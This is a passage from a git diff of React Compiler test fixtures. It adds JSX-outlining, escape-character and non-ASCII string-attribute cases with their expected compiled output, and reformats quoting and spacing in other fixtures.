+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const T0 = _temp;
+        return <T0 i={i} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(5);
+  const { i: i, x: x } = t0;
+  let t1;
+  if ($[0] !== i) {
+    t1 = <Baz i={i} />;
+    $[0] = i;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== t1 || $[3] !== x) {
+    t2 = <Bar x={x}>{t1}</Bar>;
+    $[2] = t1;
+    $[3] = x;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const { i } = t0;
+  return i;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooxbar
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.js
new file mode 100644
index 000000000000..c4dcc86763b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-simple.js
@@ -0,0 +1,36 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}></Baz>
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i}) {
+  return i;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.expect.md
new file mode 100644
index 000000000000..5408ea83a831
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.expect.md
@@ -0,0 +1,189 @@
+
+## Input
+
+```javascript
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}>Test</Baz>
+            <Foo k={i} />
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i, children}) {
+  return (
+    <>
+      {i}
+      {children}
+    </>
+  );
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableJsxOutlining
+function Component(t0) {
+  const $ = _c(7);
+  const { arr } = t0;
+  const x = useX();
+  let t1;
+  if ($[0] !== arr || $[1] !== x) {
+    let t2;
+    if ($[3] !== x) {
+      t2 = (i, id) => {
+        const t3 = "Test";
+        const T0 = _temp;
+        return <T0 i={i} t={t3} k={i} key={id} x={x} />;
+      };
+      $[3] = x;
+      $[4] = t2;
+    } else {
+      t2 = $[4];
+    }
+    t1 = arr.map(t2);
+    $[0] = arr;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[5] !== t1) {
+    t2 = <>{t1}</>;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+function _temp(t0) {
+  const $ = _c(9);
+  const { i: i, t: t, k: k, x: x } = t0;
+  let t1;
+  if ($[0] !== i || $[1] !== t) {
+    t1 = <Baz i={i}>{t}</Baz>;
+    $[0] = i;
+    $[1] = t;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== k) {
+    t2 = <Foo k={k} />;
+    $[3] = k;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  let t3;
+  if ($[5] !== t1 || $[6] !== t2 || $[7] !== x) {
+    t3 = (
+      <Bar x={x}>
+        {t1}
+        {t2}
+      </Bar>
+    );
+    $[5] = t1;
+    $[6] = t2;
+    $[7] = x;
+    $[8] = t3;
+  } else {
+    t3 = $[8];
+  }
+  return t3;
+}
+
+function Bar(t0) {
+  const $ = _c(3);
+  const { x, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== x) {
+    t1 = (
+      <>
+        {x}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = x;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Baz(t0) {
+  const $ = _c(3);
+  const { i, children } = t0;
+  let t1;
+  if ($[0] !== children || $[1] !== i) {
+    t1 = (
+      <>
+        {i}
+        {children}
+      </>
+    );
+    $[0] = children;
+    $[1] = i;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+function Foo(t0) {
+  const { k } = t0;
+  return k;
+}
+
+function useX() {
+  return "x";
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arr: ["foo", "bar"] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) xfooTestfooxbarTestbar
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.js
new file mode 100644
index 000000000000..552db93e8373
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-outlining-with-non-jsx-children.js
@@ -0,0 +1,47 @@
+// @enableJsxOutlining
+function Component({arr}) {
+  const x = useX();
+  return (
+    <>
+      {arr.map((i, id) => {
+        return (
+          <Bar key={id} x={x}>
+            <Baz i={i}>Test</Baz>
+            <Foo k={i} />
+          </Bar>
+        );
+      })}
+    </>
+  );
+}
+
+function Bar({x, children}) {
+  return (
+    <>
+      {x}
+      {children}
+    </>
+  );
+}
+
+function Baz({i, children}) {
+  return (
+    <>
+      {i}
+      {children}
+    </>
+  );
+}
+
+function Foo({k}) {
+  return k;
+}
+
+function useX() {
+  return 'x';
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arr: ['foo', 'bar']}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.expect.md
new file mode 100644
index 000000000000..a539d92ed914
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+/**
+ * Fixture showing `@babel/generator` bug with jsx attribute strings containing
+ * escape sequences. Note that this is only a problem when generating jsx
+ * literals.
+ *
+ * When using the jsx transform to correctly lower jsx into
+ * `React.createElement` calls, the escape sequences are preserved correctly
+ * (see evaluator output).
+ */
+function MyApp() {
+  return <input pattern="\w" />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; /**
+ * Fixture showing `@babel/generator` bug with jsx attribute strings containing
+ * escape sequences. Note that this is only a problem when generating jsx
+ * literals.
+ *
+ * When using the jsx transform to correctly lower jsx into
+ * `React.createElement` calls, the escape sequences are preserved correctly
+ * (see evaluator output).
+ */
+function MyApp() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <input pattern={"\\w"} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <input pattern="\w">
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.js
new file mode 100644
index 000000000000..5a972a585bec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-escape-character.js
@@ -0,0 +1,17 @@
+/**
+ * Fixture showing `@babel/generator` bug with jsx attribute strings containing
+ * escape sequences. Note that this is only a problem when generating jsx
+ * literals.
+ *
+ * When using the jsx transform to correctly lower jsx into
+ * `React.createElement` calls, the escape sequences are preserved correctly
+ * (see evaluator output).
+ */
+function MyApp() {
+  return <input pattern="\w" />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: MyApp,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.expect.md
index b9f791ed8bd8..3b5155a27a19 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { StaticText1 } from "shared-runtime";
+import {StaticText1} from 'shared-runtime';
 
 function Component() {
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.tsx
index c825b669b702..3ad1bbc4cc94 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-preserve-whitespace.tsx
@@ -1,4 +1,4 @@
-import { StaticText1 } from "shared-runtime";
+import {StaticText1} from 'shared-runtime';
 
 function Component() {
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.expect.md
index b9efd5ba2064..83b4c3f1f0f0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.expect.md
@@ -2,20 +2,16 @@
 ## Input
 
 ```javascript
-import * as sharedRuntime from "shared-runtime";
+import * as sharedRuntime from 'shared-runtime';
 
-function Component({
-  something,
-}: {
-  something: { StaticText1: React.ElementType };
-}) {
+function Component({something}: {something: {StaticText1: React.ElementType}}) {
   const Foo = something.StaticText1;
   return () => <Foo />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ something: sharedRuntime }],
+  params: [{something: sharedRuntime}],
 };
 
 ```
@@ -29,7 +25,6 @@ import * as sharedRuntime from "shared-runtime";
 function Component(t0) {
   const $ = _c(2);
   const { something } = t0;
-
   const Foo = something.StaticText1;
   let t1;
   if ($[0] !== Foo) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.tsx
index 223967b06fa0..290e32f19caa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-reactive-local-variable-member-expr.tsx
@@ -1,15 +1,11 @@
-import * as sharedRuntime from "shared-runtime";
+import * as sharedRuntime from 'shared-runtime';
 
-function Component({
-  something,
-}: {
-  something: { StaticText1: React.ElementType };
-}) {
+function Component({something}: {something: {StaticText1: React.ElementType}}) {
   const Foo = something.StaticText1;
   return () => <Foo />;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ something: sharedRuntime }],
+  params: [{something: sharedRuntime}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.expect.md
index e4ffb3f6f659..ffa2855d914e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   return (
-    <Component {...props} {...{ bar: props.cond ? props.foo : props.bar }} />
+    <Component {...props} {...{bar: props.cond ? props.foo : props.bar}} />
   );
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.js
index 0dd5d5c96c2f..0a3c76c1dbdc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-spread.js
@@ -1,5 +1,5 @@
 function Component(props) {
   return (
-    <Component {...props} {...{ bar: props.cond ? props.foo : props.bar }} />
+    <Component {...props} {...{bar: props.cond ? props.foo : props.bar}} />
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.expect.md
new file mode 100644
index 000000000000..2bcf48253742
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.expect.md
@@ -0,0 +1,79 @@
+
+## Input
+
+```javascript
+function Component() {
+  return (
+    <div>
+      <Text value={'\n'} />
+      <Text value={'A\tE'} />
+      <Text value={'나은'} />
+      <Text value={'Lauren'} />
+      <Text value={'சத்யா'} />
+      <Text value={'Sathya'} />
+      <Text value={'welcome 👋'} />
+    </div>
+  );
+}
+
+function Text({value}) {
+  return <span>{value}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = (
+      <div>
+        <Text value={"\n"} />
+        <Text value={"A\tE"} />
+        <Text value={"\uB098\uC740"} />
+        <Text value="Lauren" />
+        <Text value={"\u0B9A\u0BA4\u0BCD\u0BAF\u0BBE"} />
+        <Text value="Sathya" />
+        <Text value={"welcome \uD83D\uDC4B"} />
+      </div>
+    );
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+function Text(t0) {
+  const $ = _c(2);
+  const { value } = t0;
+  let t1;
+  if ($[0] !== value) {
+    t1 = <span>{value}</span>;
+    $[0] = value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div><span>
+</span><span>A	E</span><span>나은</span><span>Lauren</span><span>சத்யா</span><span>Sathya</span><span>welcome 👋</span></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.js
new file mode 100644
index 000000000000..3234745a4c7f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-expression-container.js
@@ -0,0 +1,22 @@
+function Component() {
+  return (
+    <div>
+      <Text value={'\n'} />
+      <Text value={'A\tE'} />
+      <Text value={'나은'} />
+      <Text value={'Lauren'} />
+      <Text value={'சத்யா'} />
+      <Text value={'Sathya'} />
+      <Text value={'welcome 👋'} />
+    </div>
+  );
+}
+
+function Text({value}) {
+  return <span>{value}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.expect.md
index 1cb36945e9fd..7f05ade87609 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.expect.md
@@ -11,7 +11,7 @@ function Component() {
   );
 }
 
-function Post({ author, text }) {
+function Post({author, text}) {
   return (
     <div>
       <h1>{author}</h1>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.js
index 9618332b06b9..680d8d93aa04 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-string-attribute-non-ascii.js
@@ -7,7 +7,7 @@ function Component() {
   );
 }
 
-function Post({ author, text }) {
+function Post({author, text}) {
   return (
     <div>
       <h1>{author}</h1>
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.expect.md
index 5844f5f61168..afebfba378d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { StaticText1, StaticText2 } from "shared-runtime";
+import {StaticText1, StaticText2} from 'shared-runtime';
 
 function MaybeMutable() {
   return {};
@@ -25,7 +25,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ component: StaticText1, alternateComponent: StaticText2 }],
+  params: [{component: StaticText1, alternateComponent: StaticText2}],
   isComponent: true,
 };
 
@@ -53,23 +53,22 @@ function maybeMutate(x) {}
 
 function Component(props) {
   const $ = _c(11);
-  let Tag;
   let T0;
+  let Tag;
   let t0;
-  if ($[0] !== props.component || $[1] !== props.alternateComponent) {
+  if ($[0] !== props.alternateComponent || $[1] !== props.component) {
     const maybeMutable = new MaybeMutable();
     Tag = props.component;
-
     T0 = Tag;
     t0 = ((Tag = props.alternateComponent), maybeMutate(maybeMutable));
-    $[0] = props.component;
-    $[1] = props.alternateComponent;
-    $[2] = Tag;
-    $[3] = T0;
+    $[0] = props.alternateComponent;
+    $[1] = props.component;
+    $[2] = T0;
+    $[3] = Tag;
     $[4] = t0;
   } else {
-    Tag = $[2];
-    T0 = $[3];
+    T0 = $[2];
+    Tag = $[3];
     t0 = $[4];
   }
   let t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.js
index 36433b76f730..687c1a10adfa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order-non-global.js
@@ -1,4 +1,4 @@
-import { StaticText1, StaticText2 } from "shared-runtime";
+import {StaticText1, StaticText2} from 'shared-runtime';
 
 function MaybeMutable() {
   return {};
@@ -21,6 +21,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ component: StaticText1, alternateComponent: StaticText2 }],
+  params: [{component: StaticText1, alternateComponent: StaticText2}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.expect.md
index d22ff9c02545..b59db512231c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { StaticText1, StaticText2 } from "shared-runtime";
+import {StaticText1, StaticText2} from 'shared-runtime';
 
-function Component(props: { value: string }) {
+function Component(props: {value: string}) {
   let Tag = StaticText1;
 
   // Currently, Forget preserves jsx whitespace in the source text.
@@ -16,7 +16,7 @@ function Component(props: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "string value 1" }],
+  params: [{value: 'string value 1'}],
   isComponent: true,
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.tsx
index ce720699cc7e..138b73a9aa6e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-tag-evaluation-order.tsx
@@ -1,6 +1,6 @@
-import { StaticText1, StaticText2 } from "shared-runtime";
+import {StaticText1, StaticText2} from 'shared-runtime';
 
-function Component(props: { value: string }) {
+function Component(props: {value: string}) {
   let Tag = StaticText1;
 
   // Currently, Forget preserves jsx whitespace in the source text.
@@ -12,6 +12,6 @@ function Component(props: { value: string }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "string value 1" }],
+  params: [{value: 'string value 1'}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.expect.md
index 948bbbf8b829..7a841aa7cab2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { RenderPropAsChild, StaticText1, StaticText2 } from "shared-runtime";
+import {RenderPropAsChild, StaticText1, StaticText2} from 'shared-runtime';
 
-function Component(props: { showText1: boolean }) {
+function Component(props: {showText1: boolean}) {
   const Foo = props.showText1 ? StaticText1 : StaticText2;
 
   return <RenderPropAsChild items={[() => <Foo key="0" />]} />;
@@ -12,7 +12,7 @@ function Component(props: { showText1: boolean }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ showText1: false }],
+  params: [{showText1: false}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.tsx
index 8dac84b2f08d..a106d2a0aedb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/jsx-ternary-local-variable.tsx
@@ -1,6 +1,6 @@
-import { RenderPropAsChild, StaticText1, StaticText2 } from "shared-runtime";
+import {RenderPropAsChild, StaticText1, StaticText2} from 'shared-runtime';
 
-function Component(props: { showText1: boolean }) {
+function Component(props: {showText1: boolean}) {
   const Foo = props.showText1 ? StaticText1 : StaticText2;
 
   return <RenderPropAsChild items={[() => <Foo key="0" />]} />;
@@ -8,5 +8,5 @@ function Component(props: { showText1: boolean }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ showText1: false }],
+  params: [{showText1: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.expect.md
index d12aa78beb2d..ea2e12e723da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-loop.expect.md
@@ -50,6 +50,7 @@ function useHook(end) {
   } else {
     log = $[1];
   }
+
   return log;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.expect.md
index a54012164f9c..441b6ae3147d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function useHook(cond) {
   const log = [];
@@ -40,16 +40,16 @@ function useHook(cond) {
     log = [];
     switch (CONST_STRING0) {
       case CONST_STRING0: {
-        log.push(`@A`);
+        log.push("@A");
         bb0: {
           if (cond) {
             break bb0;
           }
 
-          log.push(`@B`);
+          log.push("@B");
         }
 
-        log.push(`@C`);
+        log.push("@C");
       }
     }
     $[0] = cond;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.ts
index fb3f04dda405..55b132a9fa50 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/labeled-break-within-label-switch.ts
@@ -1,4 +1,4 @@
-import { CONST_STRING0 } from "shared-runtime";
+import {CONST_STRING0} from 'shared-runtime';
 
 function useHook(cond) {
   const log = [];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.expect.md
index 1e404d5346ce..eac52a68b5ec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/lambda-array-access-member-expr-captured.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { CONST_NUMBER0, invoke } from "shared-runtime";
+import {CONST_NUMBER0, invoke} from 'shared-runtime';
 
 function Foo() {
-  const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
+  const x = [{value: 0}, {value: 1}, {value: 2}];
   const param = CONST_NUMBER0;
   const foo = () => {
     return x[param].value;
@@ -32,9 +32,7 @@ function Foo() {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const x = [{ value: 0 }, { value: 1 }, { value: 2 }];
-
     const foo = () => x[CONST_NUMBER0].value;
-
     t0 = invoke(foo);
